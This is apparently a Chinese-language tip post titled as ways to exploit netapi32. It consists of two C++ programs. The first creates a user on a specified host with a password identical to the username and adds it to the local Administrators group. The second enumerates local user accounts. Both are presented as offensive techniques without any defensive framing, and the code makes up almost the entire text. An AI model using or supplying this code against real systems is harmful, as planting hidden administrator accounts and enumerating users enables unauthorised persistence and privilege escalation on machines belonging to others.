netapi32的一些利用方式
添加用户并且把用户加到管理员组的cpp文件 调用了netapi32
#ifndef UNICODE #define UNICODE #endif #pragma comment(lib, "netapi32.lib") #include <stdio.h> #include <windows.h> #include <lm.h> int wmain(int argc, wchar_t* argv[]) { USER_INFO_1 ui; DWORD dwLevel = 1; DWORD dwError = 0; NET_API_STATUS nStatus; if (argc != 3) { fwprintf(stderr, L"Usage: %s \\\\10.0.0.01 users\n", argv[0]); exit(1); } // // Set up the USER_INFO_1 structure. // USER_PRIV_USER: name identifies a user, // rather than an administrator or a guest. // UF_SCRIPT: required // ui.usri1_name = argv[2]; ui.usri1_password = argv[2]; ui.usri1_priv = USER_PRIV_USER; ui.usri1_home_dir = NULL; ui.usri1_comment = NULL; ui.usri1_flags = UF_SCRIPT; ui.usri1_script_path = NULL; // // Call the NetUserAdd function, specifying level 1. // nStatus = NetUserAdd(argv[1], dwLevel, (LPBYTE)&ui, &dwError); LOCALGROUP_MEMBERS_INFO_3 account; account.lgrmi3_domainandname = ui.usri1_name; NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1); // // If the call succeeds, inform the user. // if (nStatus == NERR_Success) fwprintf(stderr, L"Add success%s %s\n", argv[2], argv[1]); // // Otherwise, print the system error. // else fprintf(stderr, "error : %d\n", nStatus); return 0; }
枚举用户以及当前group等等
// WindowsAPIReuser.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #ifndef UNICODE #define UNICODE #endif #pragma comment(lib, "netapi32.lib") #include <stdio.h> #include <string.h> #include <Windows.h> #include <Ntsecapi.h> #include <ntstatus.h> #include <LM.h> #include <winnt.h> #include <stdbool.h> static int get_all_local_users() { NET_API_STATUS status; USER_INFO_0* buffer = NULL; DWORD preffered_max_len = MAX_PREFERRED_LENGTH; DWORD entries_read = 0; DWORD total_entries = 0; DWORD resume_handle = 0; status = NetUserEnum(L"\\\\127.0.0.1", 0, 0, (LPBYTE*)&buffer, preffered_max_len, &entries_read, &total_entries, &resume_handle); if (status != NERR_Success) { fwprintf(stderr, L"False"); return 1; } for (DWORD i = 0; i < entries_read; i++) { WCHAR* user_name = buffer[i].usri0_name; fwprintf(stderr, user_name); } NetApiBufferFree(buffer); return 0; } int main() { get_all_local_users(); return 0; }